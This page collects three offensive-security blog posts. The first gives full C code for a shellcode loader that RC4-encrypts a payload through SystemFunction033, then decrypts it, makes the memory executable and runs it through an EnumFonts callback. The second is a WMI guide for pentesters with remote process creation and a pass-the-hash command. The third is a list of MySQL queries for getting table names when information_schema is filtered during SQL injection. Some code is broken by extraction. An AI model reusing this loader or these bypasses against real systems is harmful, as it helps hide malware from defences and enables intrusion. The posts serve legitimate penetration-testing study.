Reading view

There are new articles available, click to refresh the page.

Encrypting Shellcode using SystemFunction032/033

After a while, I’m publishing a blog post which made me interested. With the recent tweets about the undocumented SystemFunction032 Win32 API function, I decided to quickly have a look at it. The first thing I noted after Googling this function was the source code from ReactOS. Seems like other SystemFunctions from 001 got other cryptographic functions and hash functions. The SystemFunction032 is an RC4 implementation. This API is in the export table of Advapi32.dll

The export table entry points to the DLL Cryptsp.dll which actually has the function implemented and exported.

Inside the Cryptsp.dll as you can see the SystemFunction032 and SystemFunction033 point to the same offset, which means loading either of these functions will do the same RC4 encryption.

This is the disassembly of the function which does the RC4 encryption. It takes in the data and key structs as parameters.


Upon reviewing the ReactOS source code, it is quite straightforward to implement this in C and get our shellcode encrypted/decrypted.

I wrote a quick C program to encrypt a given shellcode.

#include 
#include 

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} _data, key;

int main() {
	printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n");
	puts("[*] Coded by: @OsandaMalith - www.osandamalith.com");

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "www.osandamalith.com";

	unsigned char shellcode[] = {
		0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
		0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
		0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
		0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
		0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
		0x01, 0xF7, 0x99, 0xFF, 0xD7 };

	key.Buffer = (PUCHAR)(&_key);
	key.Length = sizeof key;

	_data.Buffer = (PUCHAR)shellcode;
	_data.Length = sizeof shellcode;

	SystemFunction033(&_data, &key);

	printf("\nunsigned char shellcode[] = { ");
	for (size_t i = 0; i 

Once the encrypted shellcode is obtained the below can be used to decrypt and execute the shellcode.

#include 
/*
 * RC4 Shellcode Decrypter using Systemfunction032/033
 * Coded by: @OsandaMalith - www.osandamalith.com
 */
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} _data, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "www.osandamalith.com";
	
	unsigned char shellcode[] = {
		0x5f, 0xfc, 0xb3, 0x2c, 0x87, 0xd5, 0xc1, 0xe8, 0x2b, 0xac, 0x12, 0x8f, 0x00, 0x5e, 0xef, 0xd3,
		0xd6, 0x3a, 0x04, 0x80, 0x05, 0xa1, 0x43, 0x45, 0x6a, 0xce, 0x2c, 0xf9, 0x58, 0x0f, 0x34, 0xdf,
		0xf8, 0x8b, 0x78, 0x63, 0xb4, 0x7a, 0xba, 0x5d, 0xdf, 0x14, 0x4f, 0x6b, 0xbf, 0xcd, 0x04, 0x44,
		0x53, 0x2f, 0x35, 0x15, 0x75, 0x56, 0x6a, 0xb6, 0xab, 0xd3, 0x7b, 0xcc, 0x03, 0xb6, 0x16, 0x4f,
		0x4b, 0x30, 0x01, 0x57, 0x58, 0xd8, 0xd0, 0x0b, 0x0b, 0xa0, 0xa1, 0x66, 0x98, 0x83, 0x7e, 0xdb,
		0x0d, 0x1a, 0x08, 0x41, 0x62, 0x62 };

	key.Buffer = (PUCHAR)(&_key);
	key.Length = sizeof key;

	_data.Buffer = (PUCHAR)shellcode;
	_data.Length = sizeof shellcode;

	SystemFunction033(&_data, &key);

	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);

	EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0);
}

WMI 101 for Pentesters

PowerShell has gained popularity with SysAdmins and for good reason. It’s on every Windows machine (and now some Linux machines as well), has capabilities to interact with almost every service on every machine on the network, and it’s a command-line utility. For the same exact reasons, PowerShell has also become a favourite method of attackers interacting with a victim machine. Because of this, organizations have gotten wise to this attack vector and have put measures in place to mitigate its use. But there’s another way! Many don’t know of another built-in Windows utility that actually pre-dates PowerShell and can also help them in their hacking pentesting engagements. That tool is Windows Management Instrumentation (WMI). This tutorial will be a small introduction to not only understand the usage of WMI to enumerate information from local and remote machines, but we’ll also show you how to start and kill processes! So let’s jump into WMI 101 for pentesters.

Background on WMI

I will keep this article at an introductory level to understand how to enumerate information at a high level. But as with most tutorials, let’s define some terms and provide some historical background. This may get dry but stick with me.

Windows Management Instrumentation (WMI) is Microsoft’s implementation of Web-based Business Management Standards (WBEM), the common information model (CIM) and the Distributed Management Task Force (DMTF). Microsoft has officially stated:

Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems.

So what does that mean? Simply, WMI stores a bunch of information about the local machine and allows you to access that data as well as manage Windows computers locally and remotely.

WMI came pre-installed in Windows 2000. It was made available as a download for Windows NT and Windows 95/98. For historical purposes, Monad, was born in 2002 with its first public appearance in 2003. In the spring of 2006, Monad was renamed Windows PowerShell and didn’t make a final release until November of 2006.

By default, WMI can be accessed by the Windows Script Host (WSH) languages such as VBScript and JScript. From Windows 7 PowerShell can be also used to access WMI. Furthermore, the IWbem COM API can be used with C/C++ and the ‘System.Management’ namespace with .Net languages such as C#, VB.Net and F#. Almost every popular programming languages such as Python, Ruby, PHP, Delphi, et al have third-party libraries or built-in libraries which support WMI.

The command-line interface to access WMI is called the Windows Management Instrumentation Command-line (WMIC). However, WMI can also be accessed directly with PowerShell. From PowerShell v3 onwards, CIM (Common Information Model) cmdlets can be found. The CIM cmdlets can be used to interact with WMI over WS-MAN (WinRM). These CIM cmdlets will aid us when WMI is blocked but WinRM is allowed on the target machine.

Exploring Namespaces

WMI namespaces can be explored in several different ways from using WMIC directly or by using PowerShell.

Using WMIC

C:\>wmic /namespace:\\root path __namespace
Name
subscription
DEFAULT
CIMV2
msdtc
Cli
SECURITY
SecurityCenter2
RSOP
District
PEH
StandardCimv2
WMI
directory
Policy
Interop
Hardware
ServiceModel
SecurityCenter
Microsoft
aspnet
Appv

Using PowerShell

Get-WmiObject -namespace "root" -class "__Namespace" | Select Name



Another method is by using WQL, the WMI Query Language. Microsoft’s documentation defines WQL as, “a subset of standard American National Standards Institute Structured Query Language (ANSI SQL) with minor semantic changes to support WMI.” So, we can use commonly understood SQL statement in quotes such as:

Get-WmiObject -Query “Select * from __Namespace” -Namespace Root | select Name

 

Exploring Classes

To get a list of WMI classes of a specific Namespace using PowerShell, we can use the ‘List’ parameter. In this example we are listing the classes of default namespace, ‘root\cimv2’.

PS C:\>Get-WmiObject -Namespace root\cimv2 -List
… Output Omitted …
Win32_ShadowContext {} {Caption, ClientAccessible, Description
Differential...}
Win32_MSIResource {} {Caption, Description, SettingID}
Win32_ServiceControl {} {Arguments, Caption, Description, Event...}
Win32_Property {} {Caption, Description, ProductCode, Property...}
Win32_Patch {} {Attributes, Caption, Description, File...}
Win32_PatchPackage {} {Caption, Description, PatchID, ProductCode...}
… Output Omitted …

Another method is by using “Get-CimClass” cmdlet:

Get-CimClass -Namespace root\cimv2

If we want only the classes that start with “win32” inside the “root\cimv2” namespace, we can use a wildcard like this:

Get-WmiObject -Namespace root\cimv2 -Class *Win32* -List

Furthermore, the tool WMI Explorer can be used to have a better view of the namespaces, classes and methods with descriptions and examples.

In summary, each Namespace contains Classes. Classes contain:

  • Properties – Information that can be retrieved.
  • Methods – Functions that be performed.
  • Instances – Instances of the class objects. Each instance with Methods and Properties.
  • Events – Produces notifications about changes in WMI data and services.

WMI Query Language – WQL

We briefly mentioned WQL in an example above, but let’s dive a little deeper. WQL queries can be directly accessed by the ‘wbemtest.exe’ binary and using PowerShell. WQL is used in scripting languages and programming languages when accessing WMI. For this article I will not go in depth regarding each type, however WQL Queries can be categorized as follows:

  • Instance Queries
  • Event Queries
  • Meta Queries

Once you open the wbemtest binary, click on Connect and create a new connection to the required namespaces as shown above. If you are creating a connection to a remote machine, you can provide the credentials in this dialog box. In this example, I will connect to the default namespace ‘root\cimv2’.

After creating the connection, click on ‘Query’ to test a WQL query. In this example I will use the following query to enumerate files on the disk from the path “C:\temp”

Select * From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"

It will enumerate the files on the ‘temp´ folder and display the file name.

This is the PowerShell syntax for the same request:

Get-WmiObject -Query 'Select FileName From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"'

 

WMI Verbs

The following is for usage with WMIC:

  • List – List Information
  • Get – Retrieve values
  • Call – Execute a method
  • Set – Set value of a property
  • Create – Creates a new instance
  • Delete – Deletes an instance
  • Assoc – Displays the Associators

Putting WMI All Together

Using WMIC

The following command can be used to list the aliases used in WMIC for the corresponding WQL Query.

wmic alias list brief

The list is much longer than what you see in the screenshot above. I highly recommend you try this on your own machine to see what I mean. Much lower in the list, you will find the ‘process’ alias, and it uses the “Select * from Win32_Process” WQL query. By using the alias, we can shorten the command in the following way:

wmic process where name='lsass.exe' list brief

In this next example, I am using the ‘get’ verb to retrieve specific properties from the class.

wmic process where name='winword.exe' get name, executablepath

This is an example of using the method ‘GetOwner’ to retrieve the owner of the target process.

wmic process where name='winword.exe' call GetOwner

To create a process we can use the ‘Create’ method. This is widely used by pentesters and in malware to create a remote process.

wmic process call create 'calc.exe'

 

To kill a process the ‘Terminate’ method can be used.

wmic process where name='notepad.exe' call Terminate

Using PowerShell

Now let’s try some similar activities using PowerShell. This time, let’s look for Word.

Get-WmiObject -Class Win32_Process -Filter 'name="winword.exe"'

Next, we’ll filter our data even more to get the information we want.

Get-CimInstance -Class Win32_Process -Filter "name='winword.exe'" -Property Caption, ProcessID, ExecutablePath

 

Using WQL

And how would this look using PowerShell and some WQL? Here, I am selecting the Caption, Process ID and the Executable Path properties from the ‘winword.exe’ process.

Get-WmiObject -Query "Select Caption,ProcessID,ExecutablePath from Win32_Process where name='winword.exe'" -Namespace root\cimv2

Using the CIM cmdlets you can retrieve all information or retrieve a specific property like this:

(Get-CimInstance -Query "Select * from Win32_Process where name='winword.exe'" -Namespace root\cimv2).ProcessID

Listing all the methods of the ‘Win32_Process’ Class can be done like this:

(Get-WmiObject -Class Win32_Process -List).Methods

For executing a method, the ‘Invoke-WmiMethod’ is used:

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe)

Using CIM we can call a method like this:

Invoke-CimMethod -ClassName Win32_Process -Name Create -Arguments @{Commandline = 'calc.exe'}

 

Remote WMIC

We also mentioned above that the same tools can be used over the network. This is the syntax you can use to accomplish the above example in remote computers:

WMIC

wmic /NODE:"servername" /USER:"yourdomain\administrator" /PASSWORD:password OS GET Name

Powershell

And, as we did before, here’s how it can be done using PowerShell:

$cred = Get-Credential domain\user
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe) -ComputerName servername -Credential $cred

Furthermore, in Linux the tool ‘pth-wmic’ can be used to pass-the-hash instead of the password:

pth-wmic -U domain/adminuser%LM:NT //host "select * from Win32_ComputerSystem"

Conclusion

As you can see, WMI has loads of functionality, most of which have yet to be explored in this article. But even in the little we explored, you can clearly see that WMI can be used as an alternative when PowerShell is monitored or blocking certain scenarios. In a future article, we can play with WMI’s power in other ways good for pentesters such as using it as a C2C in engagements.

I hope this article covered the fundamentals of WMI usage and encouraged you to continue researching on your own. With that in mind, here’s a little homework. As with all useful technologies, there will eventually be a new version to expand on the capabilities proven by the previous version. Windows Management Instrumentation (WMI) is no different as it also has been updated to the Windows Management Infrastructure (MI). Microsoft says that MI is fully backwards compatible while reducing dev time and has tighter integration with Powershell. Go check it out and share what you discover.

 

Alternatives to Extract Tables and Columns from MySQL and MariaDB

I’ve previously published a post on extracting table names when /or/i was filtered which leads to filtering of the word information_schema. I did some more research into this area on my own and found many other tables where you can extract the table names. These are all the databases and tables I found where we can extract table names apart from ‘information_schema.tables’. I have tested the following in 5.7.29 MySQL and 10.3.18 MariaDB. There are 39 queries in total.

Sys

These views were added in MySQL 5.7.9.

mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| db         |
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
6 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| users      |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.03 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| referers   |
| uagents    |
| emails     |
| users      |
| flag       |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.05 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| referers   |
| flag       |
| emails     |
| users      |
| uagents    |
+------------+
5 rows in set (0.14 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.09 sec)

Using these queries, you can get the table file paths stored locally on disk, along with it we can extract the table names.

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\emails.ibd   |
| @@datadir\security\flag.ibd     |
| @@datadir\security\referers.ibd |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\emails.frm   |
| @@datadir\security\flag.frm     |
| @@datadir\security\db.opt       |
+---------------------------------+
11 rows in set (0.22 sec)

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\flag.ibd     |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\flag.frm     |
| @@datadir\security\emails.frm   |
| @@datadir\security\emails.ibd   |
| @@datadir\security\referers.ibd |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\db.opt       |
+---------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

The following tables store the queries used before like a log. You can use regular expressions to find what you need.

mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| query                                                                                                                             |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                                                                                                 |
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `users`                                                                                            |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
+-----------------------------------------------------------------------------------------------------------------------------------+

mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
+-----------------------------------------------------------+
| query                                                     |
+-----------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                         |
| SHOW CREATE TABLE `security` . `emails`                   |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW CREATE TABLE `security` . `referers`                 |
| SELECT * FROM `security` . `users` LIMIT ?                |
| SHOW CREATE TABLE `security` . `uagents`                  |
| SHOW CREATE PROCEDURE `security` . `select_first_column`  |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW OPEN TABLES FROM `security` WHERE `in_use` != ?      |
| SHOW TRIGGERS FROM `security`                             |
| USE `security`                                            |
| USE `security`                                            |
+-----------------------------------------------------------+
12 rows in set (0.01 sec)

Performance_Schema

mysql> SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
+---------------------+
| object_name         |
+---------------------+
| emails              |
| referers            |
| uagents             |
| users               |
| flag                |
| select_first_column |
+---------------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
20 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| flag        |
+-------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

As mentioned before the following contains the log of all typed SQL queries. Sometimes you might find table names. For simplicity, I have used regular expressions to match the current database name.

mysql> SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| digest_text                                                                                                                       |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
| SHOW CREATE PROCEDURE `security` . `select_first_column`                                                                          |
| SHOW CREATE TABLE `security` . `uagents`                                                                                          |
+-----------------------------------------------------------------------------------------------------------------------------------+
17 rows in set (0.00 sec)

Like before we are fetching the local table file paths.

mysql> SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

mysql> SELECT file_name FROM `performance_schema`.`file_summary_by_instance` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

MySQL

mysql> SELECT table_name FROM `mysql`.`innodb_table_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT table_name FROM `mysql`.`innodb_index_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| emails     |
| emails     |
| flag       |
| flag       |
| flag       |
| referers   |
| referers   |
| referers   |
| uagents    |
| uagents    |
| uagents    |
| users      |
| users      |
| users      |
+------------+
15 rows in set (0.00 sec)

Information_Schema

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE CONSTRAINT_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

However, the first column value can be retrieved in this case.

mysql> SELECT COLUMN_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| id          |
| id          |
| id          |
| id          |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`PARTITIONS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

In this table, you can also use the column ‘column_name’ to get the first column of all tables.

mysql> SELECT TABLE_NAME FROM `information_schema`.`STATISTICS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`TABLE_CONSTRAINTS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT file_name FROM `information_schema`.`FILES` where file_name regexp database();
+-------------------------+
| file_name               |
+-------------------------+
| .\security\emails.ibd   |
| .\security\flag.ibd     |
| .\security\referers.ibd |
| .\security\uagents.ibd  |
| .\security\users.ibd    |
+-------------------------+
5 rows in set (0.00 sec)

Starting from MySQL 5.6 InnoDB exists in Information_Schema.

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE` WHERE TABLE_NAME REGEXP  DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE_LRU` WHERE TABLE_NAME REGEXP DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+
5 rows in set (0.06 sec)

mysql> SELECT path FROM  `information_schema`.`INNODB_SYS_DATAFILES` WHERE path REGEXP DATABASE();
+-------------------------+
| path                    |
+-------------------------+
| .\security\users.ibd    |
| .\security\emails.ibd   |
| .\security\uagents.ibd  |
| .\security\referers.ibd |
| .\security\flag.ibd     |
+-------------------------+
5 rows in set (0.00 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESPACES` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/users    |
| security/emails   |
| security/uagents  |
| security/referers |
| security/flag     |
+-------------------+
5 rows in set (0.04 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESTATS` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/emails   |
| security/flag     |
| security/referers |
| security/uagents  |
| security/users    |
+-------------------+
5 rows in set (0.00 sec)

Column Names

